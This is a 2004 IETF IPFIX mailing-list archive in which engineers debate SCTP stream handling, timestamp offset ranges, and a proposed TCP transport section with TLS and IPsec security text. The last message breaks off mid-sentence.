	Fri, 22 Oct 2004 17:27:57 +0200 (CEST)
Message-ID: <417926FD.6040907@cisco.com>
Date: Fri, 22 Oct 2004 17:27:57 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
CC: Stewart Bryant <stbryant@cisco.com>
Subject: [ipfix-protocol] PROTO-25, PROTO-31, PROTO-32, PROTO-33: SCTP/Sequence ID + Template
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Dear all,

The issues PROTO-25, PROTO-31, PROTO-32, PROTO-33 (look at the end of 
the email for a description) are linked to each others; they relate to 
the SCTP streams, the sequence ID, and the way the templates are sent.
Stewart and I are closed to propose a solution for all those 4 issues 
combined. However, we wanted to double check a couple of things before, 
and post some new text on the mailing list for discussion ... instead 
of  updating directly the IPFIX protocol draft just before the deadline!
So we commit to propose a solution on the mailing before the next IETF 
meeting.

Regards, Stewart and Benoit.

----------------------------------------


    PROTO-25: The section "Template Management" and "The Collecting
   Process's Side" will have to updated according to the transport
   protocol.
       - For example, the point 2 of the section "Template Management".
         Remark: the template management will vary with TCP, SCTP,  
         etc...
         Must have both sections updated: transport updated and 
         template management sections (BTW, this is the same for the 
         failover section).
       - From Deri's draft: On the other hand as a probe can send flows
       to several collectors (e.g. in round-robin or as a reflector) it
       must keep track of per-collector templates transmission. This
       means that if collector X reconnects, the probe must send the
       template only to this collector and not to all collectors.
       
     PROPOSAL, after IETF60: treat UDP as the exception, in the template
     subsection of the UDP transport protocol.
   
   PROTO-31 The "Sequence Number" and "Source ID" treatment in case of
   multiple streams in SCTP is not well described. For example, in case
   the Templates are sent to one stream and the flow records to another
   one, what should the "Sequence Number"? What should the collector
   do? See David Moore's post  

   PROTO-32 Correct this issue below

     The Collecting Process SHOULD verify that the received IPFIX
     Messages inside one stream do not have differing Source ID values
     and silently discard any data that does NOT match the initial
     value. 

     The Exporting Process SHOULD NOT transmit messages inside one
     stream with multiple Source ID values. The correlated Flow Records
     are then treated like a normal export Flow.

   PROTO-33: correct the next paragraphs: silently? reset the
   connection? log an error? should the exporting process be allowed to
   sent multiple Source ID per stream.

        The Collecting Process SHOULD verify that the received IPFIX
        Messages inside one stream do not have differing Source ID
        values and silently discard any data that does NOT match the
        initial value. 

        The Exporting Process SHOULD NOT transmit messages inside one
        stream with multiple Source ID values. The correlated Flow
        Records are then treated like a normal export Flow.


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Sun Oct 24 12:41:21 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA11074
	for <ipfix-archive@lists.ietf.org>; Sun, 24 Oct 2004 12:41:21 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CLl39-00026L-00
	for ipfix-list@mil.doit.wisc.edu; Sun, 24 Oct 2004 11:16:55 -0500
Received: from ams-iport-1.cisco.com ([144.254.224.140])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CLl37-00026G-00
	for ipfix-protocol@net.doit.wisc.edu; Sun, 24 Oct 2004 11:16:53 -0500
Received: from ams-core-1.cisco.com (144.254.224.150)
  by ams-iport-1.cisco.com with ESMTP; 24 Oct 2004 14:37:34 +0200
X-BrightmailFiltered: true
Received: from cisco.com (edinburgh.cisco.com [144.254.112.76])
	by ams-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i9OCL2Sf007223
	for <ipfix-protocol@net.doit.wisc.edu>; Sun, 24 Oct 2004 14:21:03 +0200 (MEST)
Received: from [192.168.1.100] (ams-clip-vpn-dhcp4116.cisco.com [10.61.80.19])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id NAA23460
	for <ipfix-protocol@net.doit.wisc.edu>; Sun, 24 Oct 2004 13:20:57 +0100 (BST)
Message-ID: <417B9E28.6050900@cisco.com>
Date: Sun, 24 Oct 2004 13:20:56 +0100
From: Paul Aitken <paitken@cisco.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.3) Gecko/20040922
X-Accept-Language: en-gb, en-us
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] PROTO-23: time details
Content-Type: multipart/alternative;
 boundary="------------060802000600060902030101"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------060802000600060902030101
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi.

Benoit and I have been looking at the PROTO-23 issue:

   PROTO-23: Finalize the time details. The time-related Information
   Elements are not defined in [IPFIX-INFO]

We discovered some problems with section 9.1, and a way to enhance the 
mechanism.

Let's make a distinction between the one pass method (as described in 
the pseudo code of section 9.1) and the two pass approach (also 
described in section 9.1).


1. First of all, the following sentence is incorrect!

   "For a Data Set with Flow Records requiring microsecond precision,
   the Export Packet "Export Time" field MUST be calculated so that
   each Flow Records flowStartUsec [IPFIX-INFO] and flowEndUsec [IPFIX-
   INFO] would contain a 32 bit signed microsecond offset from the
   "Export Time" base timestamp."

Although not explicitly stated in the text, with the one pass approach 
we have a signed offset which could be positive or negative.

Let's imagine this scenario:

- the first flow record is ready to be exported. Its start time is used 
as the base time in the IPFIX Message Header.
- a second flow record is ready to be exported. This flow record started 
before the first one. So the startup delta time is actually negative.


2. Secondly, let's have a look at the next sentence which is not correct 
for the one pass approach!

    "Flow Records MUST be exported in different Export Packet if the 
absolute duration can not fit in those 35 minutes."

Note: a signed 32 bit value gives a range of +/- 35 minutes.


Let's imagine this scenario:

_Scenario 1_:

- the first flow record is ready to be exported. Its start time is used 
as the base time in the IPFIX Message Header.
- a second flow record is ready to be exported. This flow record started 
30 minutes after the first one, and last for 10 minutes. So the startup 
delta time as stored in the flow record will be 30 minutes.

What could be the maximum flow duration if we want to put it in the same 
export packet? Only 5 minutes!

So the text above isn't exact, since this flow's absolute duration does 
fit inside the 35 minutes, but it would need to be exported in a 
different export packet with a new base timestamp in the IPFIX Message 
Header.


Let's imagine another scenario:

_Scenario 2_:

- the first flow record is ready to be exported. Its start time is used 
as the base time in the IPFIX Message Header.
- a second flow record is ready to be exported. This flow record started 
30 minutes before the first one (as we showed in scenario 1). So the 
startup delta time as stored in the flow record will be -30 minutes.

What could the maximum flow duration be if we want to put it in the same 
export packet? 30 minutes + 35 minutes!

- In this case the flow duration was 60 minutes ...

_
Conclusions_:

- This sentence "Flow Records MUST be exported in different Export 
Packet if the absolute duration can not fit in those 35 minutes" is 
wrong. We can't conclude anything about the maximum flow duration as it 
depends only on the relative flow start time between the first flow 
record and the other flow records to be exported.

- Since the flow record end time is always greater than or equal to the 
flow record start time, it's more intuitive for flowEndUsec to be a 
positive offset of 0 to 71 minutes from flowStartUsec, thus allowing 
flows to be up to 71 minutes long regardless of the base timestamp in 
the IPFIX Message Header. The only condition is the flow records start 
time MUST be in the range [-35 minutes,+35 minutes] compared to the 
start time of the first flow record in the export packet, that is the 
IPFIX Message Header base time.


3. THE TWO PASS APPROACH IS BETTER WITH THE MINIMUM TIME INSTEAD OF THE 
AVERAGE.

Thirdly, the two pass approach can be improved.

   "A two pass approach calculation for the optimum (center) "Export
   Time" base timestamp would allow an absolute duration of 71 minutes
   for all Flow Records contained in the Data Set."

Instead of calculating the optimum center, we could simply record the 
lowest start time of all the flow records, which would be the base time 
for IPFIX Message Header.

This mechanism gives the following advantages:
- no need to calculate the optimum center (i.e. less computation).
- would be inline with the proposal in point 2.
- would directly return the flow duration in flowEndUsec, which BTW 
could be renamed to flowDurationUsec.

While these observations are targeted for section 9.1, these are valid 
also for section 9.2 as section 9.2 refers to section 9.1.

Any feedback before we propose some new text?

Regards,
    Benoit and Paul.


--------------060802000600060902030101
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Hi.<br>
<br>
Benoit and I have been looking at the PROTO-23 issue:<br>
<br>
&nbsp;&nbsp; PROTO-23: Finalize the time details. The time-related Information<br>
&nbsp;&nbsp; Elements are not defined in [IPFIX-INFO]<br>
<br>
We discovered some problems with section 9.1, and a way to enhance the
mechanism.<br>
<br>
Let's make a distinction between the one pass method (as described in
the pseudo code of section 9.1) and the two pass approach (also
described in section 9.1).<br>
<br>
<br>
1. First of all, the following sentence is incorrect!<br>
<br>
&nbsp;&nbsp; "For a Data Set with Flow Records requiring microsecond precision,<br>
&nbsp;&nbsp; the Export Packet "Export Time" field MUST be calculated so that<br>
&nbsp;&nbsp; each Flow Records flowStartUsec [IPFIX-INFO] and flowEndUsec [IPFIX-<br>
&nbsp;&nbsp; INFO] would contain a 32 bit signed microsecond offset from the<br>
&nbsp;&nbsp; "Export Time" base timestamp."<br>
<br>
Although not explicitly stated in the text, with the one pass approach
we have a signed offset which could be positive or negative.<br>
<br>
Let's imagine this scenario:<br>
<br>
- the first flow record is ready to be exported. Its start time is used
as the base time in the IPFIX Message Header.<br>
- a second flow record is ready to be exported. This flow record
started before the first one. So the startup delta time is actually
negative.<br>
<br>
<br>
2. Secondly, let's have a look at the next sentence which is not
correct for the one pass approach!<br>
<br>
&nbsp;&nbsp;&nbsp; "Flow Records MUST be exported in different Export Packet if the
absolute duration can not fit in those 35 minutes."<br>
<br>
Note: a signed 32 bit value gives a range of +/- 35 minutes.<br>
<br>
<br>
Let's imagine this scenario:<br>
<br>
<u>Scenario 1</u>:<br>
<br>
- the first flow record is ready to be exported. Its start time is used
as the base time in the IPFIX Message Header.<br>
- a second flow record is ready to be exported. This flow record
started 30 minutes after the first one, and last for 10 minutes. So the
startup delta time as stored in the flow record will be 30 minutes.<br>
<br>
What could be the maximum flow duration if we want to put it in the
same export packet? Only 5 minutes!<br>
<br>
So the text above isn't exact, since this flow's absolute duration does
fit inside the 35 minutes, but it would need to be exported in a
different export packet with a new base timestamp in the IPFIX Message
Header.<br>
<br>
<br>
Let's imagine another scenario:<br>
<br>
<u>Scenario 2</u>:<br>
<br>
- the first flow record is ready to be exported. Its start time is used
as the base time in the IPFIX Message Header.<br>
- a second flow record is ready to be exported. This flow record
started 30 minutes before the first one (as we showed in scenario 1).
So the startup delta time as stored in the flow record will be -30
minutes.<br>
<br>
What could the maximum flow duration be if we want to put it in the
same export packet? 30 minutes + 35 minutes!<br>
<br>
- In this case the flow duration was 60 minutes ...<br>
<br>
<u><br>
Conclusions</u>:<br>
<br>
- This sentence "Flow Records MUST be exported in different Export
Packet if the absolute duration can not fit in those 35 minutes" is
wrong. We can't conclude anything about the maximum flow duration as it
depends only on the relative flow start time between the first flow
record and the other flow records to be exported.<br>
<br>
- Since the flow record end time is always greater than or equal to the
flow record start time, it's more intuitive for flowEndUsec to be a
positive offset of 0 to 71 minutes from flowStartUsec, thus allowing
flows to be up to 71 minutes long regardless of the base timestamp in
the IPFIX Message Header. The only condition is the flow records start
time MUST be in the range [-35 minutes,+35 minutes] compared to the
start time of the first flow record in the export packet, that is the
IPFIX Message Header base time.<br>
<br>
<br>
3. THE TWO PASS APPROACH IS BETTER WITH THE MINIMUM TIME INSTEAD OF THE
AVERAGE.<br>
<br>
Thirdly, the two pass approach can be improved.<br>
<br>
&nbsp;&nbsp; "A two pass approach calculation for the optimum (center) "Export <br>
&nbsp;&nbsp; Time" base timestamp would allow an absolute duration of 71 minutes <br>
&nbsp;&nbsp; for all Flow Records contained in the Data Set."<br>
<br>
Instead of calculating the optimum center, we could simply record the
lowest start time of all the flow records, which would be the base time
for IPFIX Message Header.<br>
<br>
This mechanism gives the following advantages:<br>
- no need to calculate the optimum center (i.e. less computation).<br>
- would be inline with the proposal in point 2.<br>
- would directly return the flow duration in flowEndUsec, which BTW
could be renamed to flowDurationUsec.<br>
<br>
While these observations are targeted for section 9.1, these are valid
also for section 9.2 as section 9.2 refers to section 9.1.<br>
<br>
Any feedback before we propose some new text?<br>
<br>
Regards,<br>
&nbsp;&nbsp;&nbsp; Benoit and Paul.<br>
<br>
</body>
</html>

--------------060802000600060902030101--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Oct 25 08:33:17 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA20905
	for <ipfix-archive@lists.ietf.org>; Mon, 25 Oct 2004 08:33:17 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CM3Uj-00015o-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 25 Oct 2004 06:58:37 -0500
Received: from user23.wlan-lmq.switch.ch ([130.59.110.23] helo=acer.sl.switch.ch)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CM3Ui-00015j-00
	for ipfix-protocol@net.doit.wisc.edu; Mon, 25 Oct 2004 06:58:36 -0500
Received: from acer.sl.switch.ch (localhost [IPv6:::1])
	by acer.sl.switch.ch (8.13.1/8.13.1/Debian-15) with ESMTP id i9PBqZHl016681;
	Mon, 25 Oct 2004 13:52:35 +0200
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <16764.59651.270261.290388@acer.sl.switch.ch>
Date: Mon, 25 Oct 2004 13:52:35 +0200
From: Simon Leinen <simon@limmat.switch.ch>
To: Stewart Bryant <stbryant@cisco.com>
Cc: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Proposed TCP section
X-Face: 1Nk*r=:$IBBb8|TyRB'2WSY6u:BzMO7N)#id#-4_}MsU5?vTI?dez|JiutW4sKBLjp.l7,F
   7QOld^hORRtpCUj)!cP]gtK_SyK5FW(+o"!or:v^C^]OxX^3+IPd\z,@ttmwYVO7l`6OXXYR`
In-Reply-To: <41750F7D.4020606@cisco.com> (Stewart Bryant's message of "Tue, 19 Oct 2004 13:58:37 +0100")
X-Draft-From: ("nnml:lists.ietf.wg.ipfix.protocol" 100)
References: <41750F7D.4020606@cisco.com>
X-Mailer: VM 7.19 under Emacs 21.3.1
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Stewart Bryant writes:
> I have extracted the key elements of the mechanism
> described in <draft-leinen-ipfix-tcp-00>
> to carry IPFIX over TCP, and propose that this
> text be incorporated in the IPFIX protocol draft.

Um, I thought the agreement was that I'd do another revision of
draft-leinen-ipfix-tcp, and we'd integrate that into
draft-ietf-ipfix-protocol later on.  Anyway.

> Please can you comment ASAP so that Benoit and I can
> incorporate into the next rev of the protocol
> draft.

> ISSUES

> 2.1  Handshake

> Should we introduce a handshake sequence at the start of the
> connection? A simple ASCII-based handshake could be used to
> request TLS.

I suggest to remove the "Handshake" issue.  I raised that at the last
meeting and there didn't seem to be any support for adding a
handshake.

Unless somebody disagrees on this list, I would assume that everything
that both sides (exporter and collector) need to know about their
association and about each other must somehow be configured in
advance, outside of the IPFIX protocol.

> 2.2  TLS

> It would make sense to add TLS support even in the absence of a
> handshake.  It would be the responsibility of the collector
> (connection initiator) to know whether TLS setup is required.

This is something I'd really like to have in.  It would require a
(short) subsection on how TLS would be initiated, and what should
happen when both sides aren't consistently configured (one side
expects TLS to be used, the other doesn't).  I have added the
following to draft-leinen-ipfix-tcp-01.txt:

    3.5  TLS Usage
    
       Configuration of both the exporter and the collector may
       specify that Transport Layer Security (TLS) [RFC2246] must be
       used.
    
    3.5.1  Starting a session using TLS
    
       When an exporter opens a TCP connection to a collector for
       which use of TLS has been configured, the exporter MUST
       immediately start a TLS negotiation on this connection.  The
       exporter SHOULD immediately abort the connection when TLS
       negotiation fails for some reason.
    
       When a collector accepts a connection from an exporter for
       which use of TLS has been configured, the collector MUST wait
       for the exporter to start negotiating TLS.
    
    3.5.2  Authentication
    
       Exporter and collectors with TLS support SHOULD allow the
       configuration of both the permitted levels of encryption, and
       of the authorized identities to which data should be exported
       or, respectively, from which data should be received.
    
       After successful TLS negotiation, the collector and exporter
       should each decide whether the required level of authentication
       and/or privacy was achieved.  If this is not the case, the
       connection MUST be closed immediately; an exporter MUST NOT
       send any IPFIX data, and an collector MUST ignore any IPFIX
       data received.
    
    3.5.3  Closing a session using TLS
    
       When TLS is used, the exporter SHOULD always send a
       close_notify alert before closing the TCP connection.

This overlaps with section 14.2 of draft-ietf-ipfix-protocol-06.txt.
My text is partly derived from RFC 3207 (STARTTLS SMTP Extension).

> ---------------------------------------------------------------

> 5.2     TCP

> This section describes how IPFIX can be transported over TCP
> [TCP].

> 5.2.1 Congestion Avoidance

I still don't like the structure of the transport mapping sections!

In my opinion, they should first describe how the mapping operates,
and maybe later analyze in how far "congestion avoidance" and
"reliability" are achieved by that mapping.

Starting with blanket assurances about congestion avoidance and
reliability doesn't help understanding the mappings.  To me this
sounds way too much like marketing blurb.

> TCP will detect congestion in the end-to-end path between
> the IPFIX Exporting Process and the IPFIX Collecting Process,
> and limit the transfer rate accordingly.  When an IPFIX
> Exporting Process has records to export, but detects that
> transmission by TCP is temporarily impossible, it can either
> wait until sending is possible again, or it can decide to drop
> the record.  In the latter case, the dropped export data MUST
> be accounted for, so that the amount of dropped export data can
> be reported.

The previous text is taken almost verbatim from
draft-leinen-ipfix-tcp-00.  Why did you drop the next paragraph?

       "When an exporter finds that the rate at which flow records
	should be exported is consistently higher than the rate at
	which TCP permits to send, it SHOULD adapt the metering
	process so that it generates a lower amount of data, for
	example by increasing the sampling interval, or by increasing
	the amount of aggregation.  If it does this, the exporter
	SHOULD periodically attempt to switch back to the original
	metering configuration when congestion subsides."

> 5.2.2 Reliability

> TCP provides an intrinsically reliable delivery service from the
> IPFIX Exporting Process to the IPFIX Collecting Process.

> 5.2.3 MTU

> TCP provides the required IPFIX Message fragmentation
> service based on path MTU discovery.

TCP and Path MTU Discovery are largely orthogonal - TCP provides the
same services whether PMTDU is used or not, only more or less
efficiently.

And what is this "required IPFIX Message fragmentation service"? I
cannot find it in RFC 3917.  Let's leave this section out.  We really
don't have to talk about IP MTUs here.

I still think it would be useful to talk about the permitted size of
IPFIX *messages* though.  In draft-leinen-ipfix-tcp, I have a section
that says

	  The 16-bit LENGTH field limits the length of a message to
	  65536 octets including the header.  A collector MUST be able
	  to handle message lengths of up to 65536 octets.

Because the length field in IPFIX messages is a 16-bit unsigned,
requiring every collector to handle 65536-octet messages sounds
reasonable to me.

> 5.3.4 Exporting Process

> The following sections describe how an IPFIX-over-TCP
> connection is created, how IPFIX data is transferred
> over it, and how a connection is to be terminated.

> 5.3.4.1 Connection Establishment

> The IPFIX Exporting Process initiates a TCP connection to the
> IPFIX Collecting Process.  By default, the Collecting Process
> listens for connections on TCP port XXXX (to be assigned by
> IANA).  It MUST be possible to configure both the Exporting
> and Collecting Processes to use a different TCP port.

Should we actually request a IANA-assigned port? For my own
Netflow/IPFIX deployment I'd have to use multiple port numbers anyway,
so a well-known port doesn't help me much.

Arguments for a well-known port number:

* Makes exporter/collectors easier to configure
* Makes firewall rules easier to set up
* Makes debugging easier with tools like Ethereal
... but all this only in simple configurations

Arguments against a well-known port number:

* Asking IANA for one will delay RFC publication by XXX days
  (but a single well-known port should be easy)
* We don't want to deplete the limited resource of well-known port
  numbers for exotic protocols such as IPFIX

> An Exporting Process MAY support more than one active
> connection to different Collecting Processes (including
> the case of different Collecting Processes on the same host).

> 5.3.4.2 Connection Release

> When an Exporting Process has no more IPFIX Messages to send,
> it SHOULD close the TCP connection.

> When a Collecting Process no longer wants to receive IPFIX
> messages, it SHOULD close the TCP connection, but SHOULD
> continue to receive and process IPFIX messages until the
> Exporting Process has closed its end.

> When an Collecting Process detects that the TCP
> connection to the Exporting Process is broken, it MUST
> continue to listen for a new connection.

> When an Exporting Process detects that the TCP
> connection is abnormally terminated, it SHOULD try to
> re-establish the connection.

> Connection timeouts SHOULD be configurable.

> 5.3.4.3  IPFIX Message Encoding

> TCP provides message boundary marking marking
> mechanism.

I suggest "TCP provides no message boundary marking mechanism."

> When IPFIX Message are sent over a

  When IPFIX Messages ...

> TCP connection, the LENGTH field in the IPFIX
> Message header defines the end of each message
> and the start of the next message.

At this point in draft-leinen-ipfix-tcp-00.txt, there was the section
about message sizes I mentioned above.  Did you elide it because this
is a transport mapping-independent concern? Are you planning to add
some text on this to the protocol I-D?

> If an Exporting Process exports data from multiple
> Observation Domains, it should be careful to choose
> the IPFIX Message lengths appropriately to avoid
> head-of-line blocking between different Observation
> Domains.

> 5.3.4.4  Templates

> New Template Records SHOULD be transmitted as
> soon as they are created on the Metering Process,
> and preferably before any associated Flow and
> Options Data Record is transmitted.  The Collecting
> Process SHOULD accept Flow and Options Data Records
> without the associated Template Record.

> A Collecting Process MUST record all Template
> and Option Template Records for the duration
> of the connection, as an Exporting Process is
> not required to re-export Template Records.

> 5.3.5 Fail-over

> If the Collecting Process does not acknowledge the
> attempt by the Exporting Process to establish a
> connection, the Exporting Process should retry.
> The retry schedule SHOULD be configurable.  In
> the default configuration, an Exporting Process
> MUST NOT attempt to establish a connection more
> frequently than once per minute.

> The Exporter MAY log an alarm if the time to
> establish the association exceeds a specified
> threshold.

> If Collecting Process fail-over is supported by the
> Exporting Process a second TCP connection MAY be
> opened in advance.


> ------------------------------------------------
> TCP specific security considerations

> Because there is no handshake protocol once a TCP
> connection is established, negotiation-based
> transport-layer security protocols such as TLS
> [RFC2246] cannot be used in a straightforward
> manner to ensure authenticity and confidentiality.

Actually, I now think that it would be quite possible to use TLS
(based on mutual pre-configuration), and that this would be a
completely valid, even superior, alternative to IPsec - see above.

> Exporters and collectors MUST implement IPSEC [RFC2401]
                                          ^
                                          IPsec
                                      (my mistake)

> with the Authentication Header (AH) [RFC2402] to
> ensure authenticity of the exporter and the collector.
> Exporters SHOULD implement IPSEC Encapsulating Security
                             ^
                             IPsec

> Payload (ESP) [RFC2406] to ensure confidentiality of
> the exported data.  The use of AH and ESP MUST be
> configurable for each exporter/collector pair.

> It MUST be possible to configure, an Exporting Process
                                  ^
                  I believe this comma is incorrect.

> to authenticate itself to the Collecting Process.
> This authentication mechanism SHOULD be capable of
> using strong identities such as IKE [RFC2409] public-key
> certificates or pre-shared keys.  A Collecting Process
> SHOULD detect and log unauthorized connection attempts.

> -------------------------------------------------

> IANA Considerations

> IANA should assign a well-known TCP port number for IPFIX
> over UDP, TCP and SCTP. It is recommended that the same
> well-known port number is used as a default for all three
> transport protocols.

> EDITOR NOTE: once the SCTP, TCP and UDP ports are assigned,
> The text in this draft might be updated.

> -------------------------------------------------------
> Normative references


> [RFC2401]  Kent, S. and R. Atkinson, "Security
>             Architecture for the Internet Protocol",
>             RFC 2401, November 1998.

I would add RFC793 (TCP), RFC2402 (AH), RFC 2406 (ESP).

> [RFC2409]  Harkins, D. and D. Carrel, "The Internet
> Key Exchange (IKE)", RFC 2409, November 1998.

> Informative References

> [RFC2246]  Dierks, T. and C. Allen, "The TLS Protocol
> Version 1.0", RFC 2246, January 1999.
-- 
Simon.


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Mon Oct 25 10:19:14 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28587
	for <ipfix-archive@lists.ietf.org>; Mon, 25 Oct 2004 10:19:13 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CM5Z7-0003Yn-00
	for ipfix-list@mil.doit.wisc.edu; Mon, 25 Oct 2004 09:11:17 -0500
Received: from ams-iport-1.cisco.com ([144.254.224.140])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CM5Z5-0003Yi-00
	for ipfix-protocol@net.doit.wisc.edu; Mon, 25 Oct 2004 09:11:15 -0500
Received: from ams-core-1.cisco.com (144.254.224.150)
  by ams-iport-1.cisco.com with ESMTP; 25 Oct 2004 16:28:03 +0200
X-BrightmailFiltered: true
Received: from cisco.com (mrwint.cisco.com [64.103.71.48])
	by ams-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i9PEBBSf025243;
	Mon, 25 Oct 2004 16:11:11 +0200 (MEST)
Received: from cisco.com (ams-clip-vpn-dhcp4281.cisco.com [10.61.80.184])
	by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id PAA23085;
	Mon, 25 Oct 2004 15:11:09 +0100 (BST)
Message-ID: <417D097D.2030402@cisco.com>
Date: Mon, 25 Oct 2004 15:11:09 +0100
From: Stewart Bryant <stbryant@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Simon Leinen <simon@limmat.switch.ch>
CC: ipfix-protocol@net.doit.wisc.edu
Subject: Re: [ipfix-protocol] Proposed TCP section
References: <41750F7D.4020606@cisco.com> <16764.59651.270261.290388@acer.sl.switch.ch>
In-Reply-To: <16764.59651.270261.290388@acer.sl.switch.ch>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Simon

See inline. It's too late for this pass, but the text should
incorporate your comments in the next pass.

Simon Leinen wrote:

> Stewart Bryant writes:
> 
>>I have extracted the key elements of the mechanism
>>described in <draft-leinen-ipfix-tcp-00>
>>to carry IPFIX over TCP, and propose that this
>>text be incorporated in the IPFIX protocol draft.
> 
> 
> Um, I thought the agreement was that I'd do another revision of
> draft-leinen-ipfix-tcp, and we'd integrate that into
> draft-ietf-ipfix-protocol later on.  Anyway.
> 

There was a misunderstanding. The problem was that without
the TCP text we could not finish the protocol draft. Now we
did not quite finish it (but we did try).  Benoit would like
to square away the remaining issues before the meeting
so expect more text to the list.

> 
>>Please can you comment ASAP so that Benoit and I can
>>incorporate into the next rev of the protocol
>>draft.
> 
> 
>>ISSUES
> 
> 
>>2.1  Handshake
> 
> 
>>Should we introduce a handshake sequence at the start of the
>>connection? A simple ASCII-based handshake could be used to
>>request TLS.
> 
> 
> I suggest to remove the "Handshake" issue.  I raised that at the last
> meeting and there didn't seem to be any support for adding a
> handshake.
> 
> Unless somebody disagrees on this list, I would assume that everything
> that both sides (exporter and collector) need to know about their
> association and about each other must somehow be configured in
> advance, outside of the IPFIX protocol.

Yes, until (if) we ever introduce an IPFIX config protocol there
is so much config that is needed we should do this by config as well.

> 
> 
>>2.2  TLS
> 
> 
>>It would make sense to add TLS support even in the absence of a
>>handshake.  It would be the responsibility of the collector
>>(connection initiator) to know whether TLS setup is required.
> 
> 
> This is something I'd really like to have in.  It would require a
> (short) subsection on how TLS would be initiated, and what should
> happen when both sides aren't consistently configured (one side
> expects TLS to be used, the other doesn't).  I have added the
> following to draft-leinen-ipfix-tcp-01.txt:

OK, that text should be added to the protocol draft.

> 
>     3.5  TLS Usage
>     
>        Configuration of both the exporter and the collector may
>        specify that Transport Layer Security (TLS) [RFC2246] must be
>        used.
>     
>     3.5.1  Starting a session using TLS
>     
>        When an exporter opens a TCP connection to a collector for
>        which use of TLS has been configured, the exporter MUST
>        immediately start a TLS negotiation on this connection.  The
>        exporter SHOULD immediately abort the connection when TLS
>        negotiation fails for some reason.
>     
>        When a collector accepts a connection from an exporter for
>        which use of TLS has been configured, the collector MUST wait
>        for the exporter to start negotiating TLS.
>     
>     3.5.2  Authentication
>     
>        Exporter and collectors with TLS support SHOULD allow the
>        configuration of both the permitted levels of encryption, and
>        of the authorized identities to which data should be exported
>        or, respectively, from which data should be received.
>     
>        After successful TLS negotiation, the collector and exporter
>        should each decide whether the required level of authentication
>        and/or privacy was achieved.  If this is not the case, the
>        connection MUST be closed immediately; an exporter MUST NOT
>        send any IPFIX data, and an collector MUST ignore any IPFIX
>        data received.
>     
>     3.5.3  Closing a session using TLS
>     
>        When TLS is used, the exporter SHOULD always send a
>        close_notify alert before closing the TCP connection.
> 
> This overlaps with section 14.2 of draft-ietf-ipfix-protocol-06.txt.
> My text is partly derived from RFC 3207 (STARTTLS SMTP Extension).
> 
> 
>>---------------------------------------------------------------
> 
> 
>>5.2     TCP
> 
> 
>>This section describes how IPFIX can be transported over TCP
>>[TCP].
> 
> 
>>5.2.1 Congestion Avoidance
> 
> 
> I still don't like the structure of the transport mapping sections!
> 
> In my opinion, they should first describe how the mapping operates,
> and maybe later analyze in how far "congestion avoidance" and
> "reliability" are achieved by that mapping.
> 
> Starting with blanket assurances about congestion avoidance and
> reliability doesn't help understanding the mappings.  To me this
> sounds way too much like marketing blurb.

There is some history there because - as you know - this issue
was a key factor in the early transport discussions. We should
perhaps change the ordering around, but we should do it
